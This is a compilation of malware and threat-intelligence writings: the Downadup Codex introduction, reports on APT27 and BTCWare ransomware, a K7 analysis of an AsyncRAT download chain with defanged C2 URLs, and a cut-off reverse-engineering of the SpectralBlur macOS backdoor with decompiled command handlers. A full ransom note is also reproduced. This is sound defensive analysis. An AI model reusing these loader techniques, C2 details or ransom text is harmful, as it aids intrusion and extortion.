encoded data can send .75 bytes of data whereas base16 requires two characters to send 1 byte. Regardless of the encoding, the extremely long subdomains used in some of these tunnels to transmit data may not blend into legitimate DNS query traffic.
# Security Response: The Downadup Codex ## Introduction Since its appearance in late 2008, the Downadup worm has become one of the most widespread threats to hit the Internet for a number of years. A complex piece of malicious code, this threat was able to jump certain network hurdles, hide in the shadows of network traffic, and defend itself against attack with a deftness not often seen in today’s threat landscape. Yet it contained few previously unseen features. What set it apart was the sheer number of tricks it held up its sleeve. It all started in late-October of 2008, when we began to receive reports of targeted attacks taking advantage of an as-yet unknown vulnerability in Windows’ remote procedure call (RPC) service. Microsoft quickly released an out-of-band security patch (MS08-067), going so far as to classify the update as “critical” for some operating systems—the highest designation for a Microsoft Security Bulletin. It didn’t take long for malware authors to utilize this vulnerability in their malicious code. In early November, W32.Kernelbot.A and W32.Wecorl appeared, demonstrating limited success in exploiting MS08-067. Still, much of the talk at the time focused on the potential havoc that could be caused by this vulnerability, as opposed to damage caused by these threats. It wasn’t until late November that W32.Downadup appeared (also called Conficker by some news agencies and antivirus vendors). This threat achieved modest propagation success, partly due to its borrowing from the work of the Metasploit Project, which had been actively developing more reliable proof-of-concept methods to take advantage of the vulnerability. The infection numbers for W32.Downadup began to steadily rise. But a limiting factor to its success was that its propagation routine depended on a publicly available GeoIP data file used to determine IP location. When the GeoIP authors decided to remove it from the location called by the worm, the absence of this file made it difficult for the worm to spread as rapidly, reducing its propagation to local networks already infected. Not to be outmaneuvered, the Downadup authors packaged this GeoIP file within a new variant—W32.Downadup.B—along with a Swiss Army-like collection of secondary tricks in the hopes that this would help the threat spread far and wide. This was one thing that set the Downadup worm apart from its counterparts of the last few years—its technical versatility. These secondary tricks weren’t new; there were just so many of them. It scanned the network for vulnerable hosts but didn’t flood it with traffic, selectively querying various computers in an attempt at masking its traffic instead. It attempted to brute-force commonly used network passwords. It took advantage of Universal Plug and Play to pass through routers and gateways. And when the network proved too secure, it used a rather clever AutoPlay trick to get users to execute it from removable drives. The threat even protected itself from takeover. Transferred payload files were encrypted, as well as digitally signed, and only the Downadup authors had the key. A “hotpatching” routine for MS08-067 prevented further exploitation by other attackers or threats. The threat’s authors went to great lengths to prevent buffer overflow exploitation of their own code. No one was going to hijack this worm’s network of potential bots. But the hidden danger behind all of this was the potential payload—Downadup contained the ability to update itself or receive additional files for execution. Again, not a new technique, but in this case, the threat was generating a list of 250 new domains to connect to—every day. Any one of these domains could potentially contain an update that, if downloaded, would allow the threat to perform further malicious actions. What sort of actions? Anything the authors wanted really. Not only that, but the threat contained its own peer-to-peer (P2P) updating mechanism, allowing one infected computer to update another. Blocking access to the domains might protect you from one vector, but blocking a P2P update is a different matter. Infection rates began to decline in mid-February, as news of the threat spread and network administrators that had not applied MS08-067 scrambled to protect their networks. This could be in part due to the fact that, with propagation success, the threat garnered a significant amount of attention. The domains meant to update the threat were being closely watched by security vendors, researchers, and the media. This attention isn’t surprising given the threat’s complexity and the way it has utilized so many time-tested malicious code tricks, reinventing a few along the way. There is no doubt that Downadup has been the hot topic for 2009 thus far, and this attention has generated a considerable amount of research. All was quiet on the Downadup front, that is until early March, when W32.Downadup.C began to appear on previously infected Downadup computers. More of an update than a new worm, this version didn’t include a propagation technique. New to this version was a function to end a variety of security-related processes. And where previous versions generated a list of 250 daily domains, this one created 50,000. To date, Symantec Security Response published 14 blog entries detailing the various features of Downadup between November 2008 and February 2009. This included a multi-part analysis of the features of the worm, where each entry in the series focused on a particular function. This paper brings these entries together into one source. As information on our blog was released on a day-by-day basis, this paper is organized chronologically, not only covering the technical aspects but also providing the historical context on the emergence and growth of the Downadup worm. And to provide a view of the whole picture, this paper also includes new, as-yet unpublished entries from our researchers. As a comprehensive collection of our analysis of the worm, we present The Downadup Codex. ## Introduction to Edition 2.0 The first edition of The Downadup Codex was written and published shortly after W32.Downadup.C was discovered in the wild. Gone were the exploit mechanisms that so successfully spread the previous variants and caught the attention of the mainstream media. However, this variant would go on to generate even more attention than its predecessor, garnering the family an almost certain cult-like status in the history of malicious code. It seems that the purpose of W32.Downadup.C wasn’t to cast a larger net, but rather bolster the strength of its botnet. This Downadup variant focused more on the security mechanisms of the computers it compromised, ending processes and services and modifying registry entries. W32.Downadup.B had hampered attempts to contact security-related websites, and this new variant also carried on the tradition. The release of W32.Downadup.C also saw an expansion of its peer-to-peer (P2P) capabilities. Since the MS08-067 exploit code was removed from this variant, and the previous P2P functionality relied upon it, the feature had to be rewritten from the ground up. With enhancements to the bootstrapping techniques, the digital signing of files transferred, and a custom P2P protocol, this rewrite resulted in a more robust and reliable method for updating the botnet. But the feature in W32.Downadup.C that raised this threat family’s prominence in the public’s eye more than anything was a date appearing in the threat’s code—April 1, 2009. Yet the reaction to this date was much more interesting than the actual, expected behavior. As the date approached, more and more attention was given to the threat, along with a king’s ransom in speculation. What would it do? Would it download updates? Would it install other threats? Would it bring about an end to the Internet as we know it? In the end, the threat did exactly what it said it would do on April 1st—it began generating 50,000 domain names a day, then checked a selection of 500 of them for updates. And that was it. There were plenty of signs of this as well. For example, much of the code in Downadup is encrypted, packed, and heavily obfuscated, making deconstruction and analysis of the threat difficult. However, none of these techniques were used on the part of the code that contained the April 1st date. If this was the doomsday it was made out to be, why would this date appear so conspicuously in the code? There was also plenty of circumstantial evidence that Downadup was being set up to distribute security risks such as misleading applications and adware, rather than for any sort of movie-plot scenario. But the true purpose of Downadup didn’t begin to become clearer until April 8, 2009. In many ways, April 8th was what many thought April 1st was supposed to be. Not only did a new variant emerge (W32.Downadup.E), but two other risks (W32.Waledac and SpywareProtect2009) appeared on Downadup-infected computers as well. While confusing at first how all these risks interrelate, there is indeed a common theme tying them all together—the P2P network of W32.Downadup.C. W32.Downadup.E was initially seeded into this P2P network by an attacker linked to Downadup, and then spread to other W32.Downadup.C-infected computers through the network. Similarly, instructions were seeded into the P2P network, telling the compromised computers to download W32.Waledac from a predetermined location. Once W32.Waledac was installed, it in turn downloaded a copy of SpywareProtect2009. The W32.Downadup.E variant didn’t usher in a new era of Downadup-related mayhem either. As was the case with W32.Downadup.C, this version’s goal seemed to be to strengthen its hold on computers already compromised by previous variants, instead of focusing on locating and recruiting new computers into its botnet. W32.Downadup.E included a minor update for W32.Downadup.C, and bizarrely enough, it contained a feature to delete itself on May 3, 2009. W32.Downadup.E’s most likely purpose was to actively seek out W32.Downadup.B-infected computers and update them. It did this by utilizing a feature included in W32.Downadup.B’s hotpatching function. When a hotpatched computer is pinged by another Downadup exploit attempt, it has the ability to recognize the shell code coming in as another Downadup. It responds back to the exploiting computer, telling it that it is W32.Downadup.B and asks if it has any updates that it can send. A W32.Downadup.E-infected computer responds by sending a copy of itself, which the W32.Downadup.B computer will install. Since April 8th, the Downadup authors have been relatively quiet. But that’s not to say that the threat has lost its hold in the wild. In many ways, it has sunk its teeth in, making it that much more challenging to eradicate once it has taken hold. To combat this, we’ve consistently updated our removal tools and even worked with the development team behind NMap to develop a script to detect the activity of the W32.Downadup.C P2P network, making it easier to locate and then remove infections. Still confused by the alphabet soup that is the Downadup family? Along with eight new blog entries, this edition of The Downadup Codex now includes a series of appendices to help with the detection and classification of Downadup. We present to you The Downadup Codex, Edition 2.0.
# China's APT Hackers Move to Ransomware Attacks By Ionut Ilascu January 4, 2021 Security researchers investigating a set of ransomware incidents at multiple companies discovered malware indicating that the attacks may be the work of a hacker group believed to operate on behalf of China. Although the attacks lack the sophistication normally seen with advanced threat actors, there is strong evidence linking them to APT27, a group normally involved in cyber espionage campaigns, also known as TG-3390, Emissary Panda, BRONZE UNION, Iron Tiger, and LuckyMouse. ## Abusing Windows BitLocker The attacks happened in 2020 and directly targeted at least five companies in the online gambling sector that operate globally and successfully encrypted several core servers. While these were ransomware incidents in earnest, the threat actor relied on BitLocker, the drive encryption tool in Windows, to lock the servers. The researchers from cybersecurity firms Profero and Security Joes responded to these incidents and found that the hackers reached their targets through a third-party service provider, which had been infected through another third-party provider. Analyzing the attacks revealed malware samples linked to DRBControl, a campaign described earlier this year in a report from Trend Micro and attributed to APT27 and Winnti, both groups active since at least 2010 and associated with Chinese hackers. If APT27 focuses on cyberespionage, Winnti is known for its financial motivation. In a joint report shared with BleepingComputer, Profero and Security Joes share evidence pointing to these two groups, saying that they found a sample of the Clambling backdoor similar to the one used in the DRBControl campaign. They also uncovered the ASPXSpy webshell. A modified version of this malware has been seen previously in attacks attributed to APT27. Other malware found on infected computers includes the PlugX remote access trojan, regularly mentioned in cybersecurity reports about campaigns linked to China. "With regards to who is behind this specific infection chain, there are extremely strong links to APT27/Emissary Panda, in terms of code similarities, and TTPs [tactics, techniques, and procedures]," the report reads. Although a cyberespionage group engaging in a financially motivated campaign is unusual, this attack would not be the first time APT27 deploys ransomware on victim systems. Researchers at Positive Technologies attributed a Polar ransomware attack from April 2020 to APT27, based on the use of malware normally used by this group. The attacks against the five companies in the gambling sector were not particularly sophisticated and relied on known methods to evade detection and move laterally. The report from Profero and Security Joes says that the actor deployed PlugX and Clambling malware in the system memory using an older Google Updater executable that was vulnerable to DLL side-loading. "For each of the two samples, there was a legitimate executable, a malicious DLL, and a binary file consisting of shellcode responsible for extracting the payload from itself and running it in memory. Both samples used the signed Google Updater, and both DLLs were labeled goopdate.dll; however, the PlugX binary file was named license.rtf, and the Clambling binary file was named English.rtf." Additionally, the attacker leveraged a vulnerability from 2017 (CVE-2017-0213) to escalate privileges on the machine. Exploit code for this bug is publicly available. Daniel Bunce, Principal Security Analyst at Security Joes, told BleepingComputer that the key takeaway from these attacks is the involvement of a cyberespionage group in a financially driven campaign. Omri Segev Moyal, CEO at Profero, says that the audacity of such a malicious group is another signal that governments should have a unified approach in the fight against these threats. Recently, another hacker group believed to work for a government has been linked to ransomware attacks. According to ClearSky, the Iranian-backed hacking group Fox Kitten has been involved in Pay2Key ransomware operations against organizations in Israel and Brazil. ## Related Articles - Hackers target Russian govt with fake Windows updates pushing RATs - Chinese ‘Space Pirates’ are hacking Russian aerospace firms - Hackers stole data undetected from US, European orgs since 2019 - Google: Chinese state hackers keep targeting Russian govt agencies - Chinese hacking group uses new 'Fire Chili' Windows rootkit --- Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits, and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger, and Softpedia.
# GitHub – Home to AsyncRAT Backdoor By K7 Labs February 19, 2021 These days threat actors are hosting their encrypted malware in user familiar places such as Google Drive, OneDrive, Discord CDN, Pastebin amongst others and target a huge victim base. This abuse is not new for GitHub too, a popular code hosting platform. In this blog, we will be getting into the nuances of AsyncRAT Backdoor hosted on the GitHub repository and its delivery mechanism, orchestrated in different stages. While monitoring the Twitter handles, we came across a tweet from @Glacius_ mentioning about the availability of AsyncRAT payload on GitHub. From the attacker’s GitHub repository, we can notice that it has multiple binaries. Contents of all these binaries are encoded in decimal format to avoid being identified and detected easily. This GitHub account was created on January 8, 2021, which is managed by Mohamed-Sayed with only 1 follower. Also, we noticed that the attacker has added 2 new PE files on Jan 31st, 2021 in the “NEW” repository; possibly the threat actor is planning for another campaign. On digging deeper, we found that this attack has multi-stage payloads and finally executes the main payloads facebook.dll and stub.exe which were not available in VirusTotal at the time of writing this blog. Now, let’s get into the details about the multi-stage scripts and the main payloads. The complete flow of this attack and the multi-stage scripts used to execute the final payload using a process injector DLL has been depicted. The initial binary fww.exe, a .NET file downloads the first stage payload “encoding.txt” from “hxxp[:]//f0509448[.]xsph[.]ru/hjebWnlfsjdlPz/encoding[.]txt” (ip: 141.8.193.236) and executes the encoding.txt, a VBScript using “mshta.exe”. Decoding the 1st stage VBScript, we could see that it uses Wscript.Shell command to execute the PowerShell script using PowerShell.exe and download the second stage payload “all.txt” from the same URL and execute the downloaded file using Invoke-Expression (IEX). The second stage payload all.txt; a PowerShell script, before proceeding further checks if predefined AV files are running in the system. For instance, “AVAST : AvastUI.exe”, “ESET : ecmds.exe”, “KASPERSKY : avpui.exe”, “AVG : AVGUI.exe”. Once it is confirmed that none of the specified AVs are present in the system, all.txt continues its execution. It sets Servicepointmanager as TLS 1.2 security protocol (3072 represents TLS1.2 protocol) to communicate with its server through a secure channel and downloads the third stage payload “ps1.txt” binary from the server. It converts the hex value to ascii character using “[char] [byte]” instruction and stores the string in “asciiString” variable and executes it using Invoke-Expression. Removing all of the junk data from the PowerShell script, ps1.txt we can also see that it is downloading the DLL “hxxps[:]//raw[.]githubusercontent[.]com/hbankers/PE/main/PE03[.]txt” and the Hbanker exe file “hxxps[:]//raw[.]githubusercontent[.]com/hbankers/v1/main/Server[.]txt” as strings using “downloadstring” function. Now, ps1.txt script executes “Reflection.assembly::Load()” command to load the “HAPPY” method from the DLL, PE03.txt and execute the binary Server.txt (stored in the argument HCrypt of HAPPY method). APIs “ResumeThread, Wow64SetThreadContext, SetThreadContext, Wow64GetThreadContext, GetthreadContext, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, ZwUnmapViewOfSection, CreateProcessA” are used to inject the AsyncRAT payload (server.txt) in the memory of another file and then execute the same. This technique is called the ProcessHallowing – Injection Technique. AsyncRAT (Server.txt) carries multiple features like checking for Anti-analysing techniques, network connection using SSL certificate, persistence techniques etc. The attacker pre-defines the domain name, port number, ssl certificate, version, mutex, key etc., and its values are in a sophisticated base64 encoded format and to decode the string it uses aesCryptoServiceProvider in addition to base64 decoder to get the original value. The domain which attacker tries to connect is “fat7e0recovery[.]ddns[.]net” via the port number 6666. The Mutex value is “AsyncMutex_6SI8OkPnk” and it also has a server certificate “CN=AsyncRAT Server” valid from 17-01-2021 to 31-12-9999. This SSL certificate is used to encrypt the packets between the compromised system and the server. In order to detect virtual machines, AsyncRAT uses Anti-analysis techniques like: - Checks if the disk size is less than or equal to 50GB - Checks whether the OS is XP - Looks for the VM names like “Virtualbox”, “vm” or “Virtual” strings in system manufacturing data - Checks for SbieDll.dll in the system to detect sandboxie virtual machines - Uses CheckRemoteDebuggerPresent API to check for debugger. To be persistent in the system, AsyncRAT confirms if the user login has admin privilege. If yes, it creates a scheduled task where fileinfo.name represents the currently running malware file. If the AsyncRAT does not run with admin privilege, it creates a run entry under CurrentUser\Run for persistence. Run registry key is in reversed order and the StrReverse command is employed to retrieve the actual data “Software\\Microsoft\\Windows\\CurrentVersion\\Run”. **Conclusion** Attackers are not only very interested in creating new malware but also trying to use every single possibility to host/spread their payloads. In this case, AsyncRAT is spread using the credibility of popular code hosting platforms to evade detection from Anti-Virus engines. We are constantly monitoring such techniques and ensuring that we provide proactive protection against such malware attacks. As always we recommend our customers to use the K7 security products to protect your data and keep it updated to stay protected from the latest threats. **Indicators Of Compromise (IOCs)** | MD5 | File Name | K7 Detection Name | |---------------------------------------|------------------|---------------------------| | 527EE147DC7B2E5D768945DCC7D87326 | fww.exe | Trojan-Downloader (005771b51) | | 4FAC2D80A7C3AEA83D61432F66A25B69 | Facebook.dll | Trojan (004cf1da1) | | 416C48AEF6DDF720BE0D8B68DD2F0BD0 | stub.exe | Trojan (005678321) | **URLs** - Fat7e0recovery[.]ddns[.]net:6666 - hxxps[:]//raw[.]githubusercontent[.]com/hbankers/PE/main/PE03[.]txt - hxxps[:]//raw[.]githubusercontent[.]com/hbankers/v1/main/Server[.]txt - hxxp[:]//f0509448[.]xsph[.]ru/hjebWnlfsjdlPz/encoding[.]txt
# New Nuclear BTCWare Ransomware Released (Updated) By Lawrence Abrams August 28, 2017 A new variant of the BTCWare ransomware was discovered by ID-Ransomware's Michael Gillespie that appends the .[affiliate_email].nuclear extension to encrypted files. The BTCWare family of ransomware is distributed by the developers hacking into remote computers with weak passwords using Remote Desktop services. Once they gain access to a computer, they will install the ransomware and encrypt the victim's files. Unfortunately, at this time there is no way to decrypt files encrypted by the Nuclear BTCWare Ransomware variant for free. If you wish to discuss this ransomware or receive any support, you can use our dedicated Btcware Ransomware Support Topic. In the past, the developers have released the decryption keys for variants that were no longer in distribution. It appears they have decided to no longer offer this to their victims. We hope they change their mind. **Update 8/30/17:** Michael Gillespie discovered that the developers of this variant messed up on the encryption of files greater than 10MB in file size and will not be able to decrypt them. It was also discovered that this same behavior was seen with other files of random sizes. Therefore, it is advised that you do not pay the ransom as there is a good chance many of your files will not be able to be decrypted. ## What's New in the Nuclear Ransomware BTCWare Variant While overall the encryption methods stay the same in this variant, there have been some differences. First and foremost, we have a new ransom note with a file name of HELP.hta. This ransom note contains instructions to contact [email protected] for payment information. The next noticeable change is the extension appended to encrypted files. With this version, when a file is encrypted by the ransomware, it will modify the filename and then append the .[affiliate_email].nuclear extension to the encrypted file's name. For example, the current version will encrypt a file called test.jpg and rename it to test.jpg.[[email protected]].nuclear. This variant also uses a different public RSA encryption key that is used to encrypt the victim's AES encryption key. This public encryption key is: ``` -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMwl0XpgillW5xCvuTbug+U+bVtZTaS0SRM+gNgaegG9PwsU -----END PUBLIC KEY----- ``` If any new information or methods to decrypt the files become available, we will be sure to update this article. ## IOCs **File Hashes:** SHA256: d5397a05b745f64ab16ff921fb4571e9072b54437080bc9630047465e6b06a41 **Filenames associated with the Nuclear Ransomware Variant:** Help.hta **Nuclear BTCWare Ransomware Ransom Note Text:** All your files have been encrypted! All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail [email protected]. You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment, we will send you the decryption tool that will decrypt all your files. **Free decryption as guarantee:** Before paying, you can send us up to 3 files for free decryption. The total size of files must be less than 1MB (non-archived), and files should not contain valuable information (databases, backups, large excel sheets, etc.). **How to obtain Bitcoins:** The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. Also, you can find other places to buy Bitcoins and a beginners guide here. **Attention!** Do not rename encrypted files. Do not try to decrypt your data using third-party software; it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to ours) or you can become a victim of a scam. **Emails Associated with the Nuclear Ransomware:** [email protected] **Bundled Public RSA-1024 Keys:** ``` -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMwl0XpgillW5xCvuTbug+U+bVtZTaS0SRM+gNgaegG9PwsU -----END PUBLIC KEY----- ``` ## Comments - **jmuniz** - I got hit with Nuclear this week and after negotiating a price from $2000 to $500, the decryptor did not do all files, especially SQL Server files. It rendered my server useless. I look forward to your findings on this particular ransomware. - **mastergka** - Any chance of uploading the decrypter for testing? - **jarred1990** - I do not know about you, but I came across the same virus just the mail [email protected] so the guys rebuilt everything without problems. - **TechInAFlash** - I paid for the decrypter as well. It did not decrypt everything. It didn't even touch my external hard drive despite saying all drives had been decrypted. - **Demonslay335** - You can use my BTCWareDecrypter with the key they gave you; it lets you specify a directory. - **dottormarc** - Probably we found a way to recover files with extension [[email protected]].nuclear but we need additional files to do our tests. - **miba** - Hello, here is a link to my files. One file is original .pst Outlook file and the second one is encrypted with .nuclear, but content must be the same. Please test and compare these files if you find the key. - **ebernal** - Hello, I have been a victim of this ransomware. Does anyone know of some decryption tool or some solution to recover the files?
# Analyzing DPRK's SpectralBlur The first malware of 2024 is (already) here! by: Patrick Wardle / January 4, 2024 📝 👾 Want to play along? As ‘Sharing is Caring’ I’ve uploaded a sample of the malware SpectralBlur.zip to our public macOS malware collection. The password is: infect3d...please though, don't infect yourself! 🙈 ## Background Not three days into 2024, Greg Lesnewich tweeted the following: #100DaysofYARA day 03 - talking SpectralBlur, a MacOS (and other OS 🤫) backdoor linked to TA444/Bluenoroff, that I suspect is a cousin of the KandyKorn family our pals at Elastic found! In both his Twitter (err, X) thread and in a subsequent posting, he provided a comprehensive background and triage of the malware dubbed SpectralBlur. In terms of its capabilities, he noted: SpectralBlur is a moderately capable backdoor, that can upload/download files, run a shell, update its configuration, delete files, hibernate or sleep, based on commands issued from the C2. -Greg He also pointed out similarities to/overlaps with the DPRK malware known as KandyKorn (that we covered in our “Mac Malware of 2024” report), while also pointing out there were differences, leading him to conclude: We can see some similarities ... to the KandyKorn. But these feel like families developed by different folks with the same sort of requirements. -Greg Greg's writeup, though focusing more on the discovery and triage of the SpectralBlur, is an excellent read and provides essential background and context for our more in-depth analysis. Have a read: 100DaysofYARA - SpectralBlur Greg ended his write-up, noting that he hadn’t had time yet to fully analyze the sample, but “if anyone in the community is keen on it, go for it!!”. As I’m rather obsessed with (new) Mac malware, I decided to dig in more. ## Triage The sample of SpectralBlur mentioned in his tweets and triage has a SHA-1 hash of 06c8c84fb0a85bdf3520608b0a5c910b77e3b8c1. Popping over to VirusTotal to grab the sample, we can see that currently it is not flagged as malicious by any of the AV engines: SpectralBlur on VirusTotal (Scan Date: Aug. 2023) Triggering a rescan of the malware on VirusTotal shows it is (now) detected by at least one AV engine (ESET). Moreover, it's worth noting that the previous scan of the malware (referenced in the screenshot above) was performed in August 2023. Thus, though at that time no AV engine flagged the item as malicious, between now and then, detections could have been added. Looking at telemetric data, we can see its name is either .macshare or mac.jpg, and at least on one macOS system it was found in /Users/Shared/.macshare. Prefixing the name with a '.' will hide the file from Finder (unless the viewing of hidden files has been enabled). This SpectralBlur sample was initially submitted to VirusTotal on 2023-08-16 from Colombia (CO). Interestingly, in VirusTotal’s telemetric data, we can also see that at least one of Objective-See’s tools (which integrate with VirusTotal, for example to allow users to submit unrecognized files) encountered the malware in the wild too…how cool! Using WhatsYourSign, we can see the binary is not signed: WhatsYourSign shows the malware is not signed You can also extract codesigning information (or lack thereof) from the terminal via macOS’s codesign utility: ```bash % codesign -dvv SpectralBlur/.macshare SpectralBlur/.macshare: code object is not signed at all ``` Via the terminal, we can also see it's a 64-bit Intel (x86_64) binary: ```bash % file SpectralBlur/.macshare SpectralBlur/.macshare: Mach-O 64-bit executable x86_64 ``` Next, let’s pull out any embedded strings, as this can give a good idea of the malware’s capabilities and also guide continued analysis: ```bash % strings SpectralBlur/.macshare There is NO WARRANTY, to the extent permitted by law. %s.d /dev/null SHELL /bin/sh ... ``` Other than some strings related to the shell, not a lot! Maybe others are obfuscated? (We also didn’t show function names or API imports in the strings output, as these show up better via nm). Using nm, we can extract symbols which will include the malware’s function names, as well as APIs that the malware calls into (“imports”). Let’s start with just function names, which will be found in the __TEXT segment/section: __text. We can use nm’s -s to limit its output to just a specified segment/section: ```bash % nm -s __TEXT __text SpectralBlur/.macshare 0000000100001540 T _hangout 00000001000034f0 T _init 0000000100001570 T _init_fcontext 0000000100001870 T _load_config 0000000100003650 T _main 0000000100002a10 T _mainprocess 0000000100003370 T _mainthread 00000001000031c0 T _openchannel 00000001000029a0 T _proc_die 0000000100001b10 T _proc_dir 0000000100002420 T _proc_download 0000000100002290 T _proc_download_content 00000001000027e0 T _proc_getcfg 00000001000028c0 T _proc_hibernate 00000001000019f0 T _proc_none 00000001000029d0 T _proc_restart 00000001000025a0 T _proc_rmfile 0000000100002860 T _proc_setcfg 0000000100001a90 T _proc_shell 0000000100002930 T _proc_sleep 0000000100001a20 T _proc_stop 00000001000026b0 T _proc_testconn 0000000100002160 T _proc_upload 0000000100002040 T _proc_upload_content 00000001000015f0 T _read_packet 0000000100001930 T _save_config 0000000100001500 T _sigchild 00000001000011f0 T _socket_close 0000000100000d10 T _socket_connect 0000000100001140 T _socket_recv 00000001000010c0 T _socket_send 0000000100000be0 T _wait_read 0000000100001730 T _write_packet 00000001000017e0 T _write_packet_value 0000000100001270 T _xcrypt ``` Looks like functions dealing with a config (e.g., load_config), network communications (e.g., socket_recv, socket_send), and encryption (xcrypt). But also then, standard backdoor capabilities implemented (as noted by Greg), in functions prefixed with proc. And what about the APIs the malware imports to call into? Again we can use nm, this time the -u flag: ```bash % nm -m SpectralBlur/.macshare _connect _dup2 _execve ... _fork _fread _fwrite ... _gethostbyname _getlogin _getpwuid _getsockopt _grantpt ... _ioctl _kill ... _pthread_create _rand _recv _send _socket _unlink _waitpid _write ... ``` From these imports, we can surmise that the malware performs file I/O (fread, fwrite, unlink), network I/O (socket, recv, send), and spawning/managing processes (execve, fork, kill). We’ll see these APIs are invoked by the malware often in response to commands. For example, the malware’s proc_rmfile function invokes the unlink API to remove a file: ```c int proc_rmfile(int arg0, int arg1) { var_10 = arg1; var_18 = var_10 + 0x10; ... unlink(var_18); ... } ``` Based on this triage (and Greg’s report), we’ve developed what is likely a reasonable understanding of the malware. Still, it's always good to validate triages with continued static, but also dynamic analysis. So …onward! ## Analysis At the start of the malware disassembly, it calls into a function named init. Here, it builds a path to its config, and then opens it. The path is built by appending .d to the malware’s binary full path: ```c init(...) { _sprintf_chk(config, 0x0, 0x41a, "%s.d", malwaresPath); ... loadConfig(...) } ``` We can confirm this in a debugger, where at a call to fopen (in the load_config function), the malware will attempt to open the file macshare.d, in the directory where the malware is currently running (e.g., /Users/user/Downloads/). ```bash % lldb /Users/user/Downloads/macshare (lldb) * thread #1, queue = 'com.apple.main-thread' macshare`load_config: -> 0x100001890 <+32>: callq 0x100003d8c ; symbol stub for: fopen Target 0: (macshare) stopped. (lldb) x/s $rdi 0x100008820: "/Users/user/Downloads/macshare.d" ``` We can also see this in a File Monitor: ```bash # ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter macshare { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Downloads/macshare.d", "process" : { "pid" : 6818, "name" : "macshare", "path" : "/Users/user/Downloads/macshare" } } } ``` By looking at its cross-references (xrefs), we can see the xcrypt function is invoked to encrypt/decrypt the malware’s config and network traffic. The xcrypt function appears to be a custom stream cipher. While static analysis shows that the key may be stored at the start of this config (address 0x100008c3a), and set to a random 64-bit value: ```c *qword_100008c3a = sign_extend_64(rand()) + time(0x0) + sign_extend_64(rand() * rand()); ``` Back to the config file, unfortunately, I (currently) don’t have access to an example config. Thus some of our continued analysis is based solely on static analysis. Once the init function returns (which loaded the config), the malware performs a myriad of actions that appear to complicate dynamic analysis and perhaps detection. This includes forking itself, but also setting up a pseudo-terminal via posix_openpt (as noted by Phil Stokes): Uses grantpt to set up a pseudo-terminal. Not seen that before. Interesting! — Phil Stokes ⫍🐠 ⫎ (@philofishal) January 4, 2024 This is followed by more forks, execs, and more. Again, if I had to guess, this is simply to complicate analysis (and/or perhaps, making it a detached/“isolated” process complicated detections)? We’ll also see that the pseudo-terminal is used to execute shell commands from the attacker’s remote C&C server. Regardless, we can skip over this all, and simply continue execution (or static analysis) where a new thread (named _mainthread) is spawned. After invoking functions such as openchannel and socket_connect to likely connect to its C&C server (whose address likely would be found in the malware’s config: macshare.d), it invokes a function named mainprocess. The mainprocess function (eventually) invokes the read_packet function which appears to return the index of a command. The code in the mainprocess function then iterates over an array named _procs in order to find the handler for the specified command (that I’ve named commandHandler in the below disassembly). The command handler is then directly invoked: ```c int mainprocess(int arg0, int arg1) { var_558 = read_packet(...); if (var_558 != 0x0) goto loc_100002dfc; loc_100002dfc: var_560 = *(var_558 + 0x8); commandHandler = 0x0; addrOfProcs = _procs; do { var_5C1 = 0x0; if (*addrOfProcs != 0x0) { var_5C1 = (var_568 != 0x0 ? 0x1 : 0x0) ^ 0xff; } if ((var_5C1 & 0x1) == 0x0) { break; } if (*addrOfProcs == var_560) { commandHandler = *(addrOfProcs + 0x4); } addrOfProcs = addrOfProcs + 0xc; } while (true); var_538 = (commandHandler)(var_530, var_558); } ``` After creating a custom structure (procStruct) for this array, we can see each command number and its handler: ``` procs: 0x0000000100008000 struct procStruct { 0x1, _proc_none } 0x000000010000800c struct procStruct { 0x2, _proc_shell } 0x0000000100008018 struct procStruct { 0x3, _proc_dir } 0x0000000100008024 struct procStruct { 0x4, _proc_upload } 0x0000000100008030 struct procStruct { 0x5, _proc_upload_content } 0x000000010000803c struct procStruct { 0x6, _proc_download } 0x0000000100008048 struct procStruct { 0x7, _proc_rmfile } 0x0000000100008054 struct procStruct { 0x8, _proc_testconn } 0x0000000100008060 struct procStruct { 0x9, _proc_getcfg } 0x000000010000806c struct procStruct { 0xa, _proc_setcfg } 0x0000000100008078 struct procStruct { 0xb, _proc_hibernate } 0x0000000100008084 struct procStruct { 0xc, _proc_sleep } 0x0000000100008090 struct procStruct { 0xd, _proc_die } 0x000000010000809c struct procStruct { 0xe, _proc_stop } 0x00000001000080a8 struct procStruct { 0xf, _proc_restart } ``` Recall we saw the names of each command handler (_proc_*) in the output of nm. And, though we can guess the likely capability of each command from its name, let’s look at a few to confirm. The proc_rmfile will remove a file by invoking the unlink API. However, we can also see that it first opens the file (fopen) and overwrites its contents with zero: ```c int proc_rmfile(int arg0, int arg1) { var_4 = arg0; var_10 = arg1; var_18 = var_10 + 0x10; file = fopen(var_18, "rb+"); if (file != 0x0) { fseek(file, 0x0, 0x2); var_28 = ftell(file); fseek(file, 0x0, 0x0); var_30 = 0x5000; if (var_28 < var_30) { var_30 = var_28; } var_38 = malloc(var_30); _memset_chk(var_38, 0x0, var_30, 0xffffffffffffffff); fwrite(var_38, 0x1, var_30, file); free(var_38); fclose(file); } rdx = unlink(var_18); rax = 0x0; if (rdx == 0x0) { rax = 0x1; } return _write_packet_value(var_4, *var_10, rax); } ``` Each command will also report a result by invoking the malware's write_packet_value API. The proc_restart will terminate the child process: ```c int main(...) { call fork mov dword [childPID], eax } int proc_restart(int arg0, int arg1) { kill(*childPID, 0x9); return write_packet_value(arg0, *arg1, 0x0); } ``` Finally, let’s look at the proc_shell, which executes a command by writing to the pseudo-terminal that was opened (via posix_openpt) previously: ```c int main(...) { call posix_openpt mov dword [pt], eax } int proc_shell(...) { var_8 = arg0; var_10 = arg1; if (write(*pt, var_10 + 0x10, strlen(var_10 + 0x10)) <= 0x0) { var_4 = _write_packet_value(var_8, *var_10, 0x0); } } ``` The other commands 